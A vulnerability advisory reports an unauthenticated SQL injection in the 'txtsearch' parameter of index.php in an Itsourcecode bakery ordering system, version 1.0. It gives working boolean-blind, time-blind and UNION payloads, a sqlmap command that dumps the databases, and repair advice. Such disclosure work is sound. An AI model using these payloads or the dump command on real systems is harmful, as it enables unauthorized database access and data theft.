Skip to content

Latest commit

 

History

History
79 lines (67 loc) · 4.63 KB

03_06_2024_a.md

File metadata and controls

79 lines (67 loc) · 4.63 KB

Itsourcecode Bakery Online Ordering System Using PHP and MySQL Database 1.0 index.php SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Bakery Online Ordering System Using PHP and MySQL Database

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • N3xu5Cr4ck37

Vulnerable File

  • index.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the 'index.php' file of the 'Bakery Online Ordering System Using PHP and MySQL Database' project. The reason for this issue is that attackers inject malicious code from the parameter "txtsearch" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of "Bakery Online Ordering System Using PHP and MySQL Database", N3xu5Cr4ck37 discovered a critical SQL injection vulnerability in the "index. php" file. This vulnerability stems from insufficient user input validation of the 'txtsearch' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability type:

  • boolean-based blind
  • time-based blind
  • UNION query

Vulnerability location:

  • 'txtsearch' parameter

Payload:

    txtsearch=11' AND 7669=7669-- Epsu&btnsearch=

    txtsearch=11' AND (SELECT 2716 FROM (SELECT(SLEEP(5)))MTlH)-- OUPy&btnsearch=

    txtsearch=11' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7071,0x794a716e6b4d6854754c5167567a4753497a6f514255564c5873616d53756e616b6152656d545a76,0x716b707a71),NULL,NULL,NULL,NULL-- -&btnsearch=
    Parameter: txtsearch (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: txtsearch=11' AND 7669=7669-- Epsu&btnsearch=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: txtsearch=11' AND (SELECT 2716 FROM (SELECT(SLEEP(5)))MTlH)-- OUPy&btnsearch=

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: txtsearch=11' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7071,0x794a716e6b4d6854754c5167567a4753497a6f514255564c5873616d53756e616b6152656d545a76,0x716b707a71),NULL,NULL,NULL,NULL-- -&btnsearch=
  • 1

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

    python sqlmap.py -u "http://localhost:8101/index.php?page=2" --data="txtsearch=11&btnsearch=" --method=POST --dbms=mysql --level=5 --risk=3 --batch --dbs --dump
  • 2

  • 3

  • 4

  • 5

Suggested repair

  1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.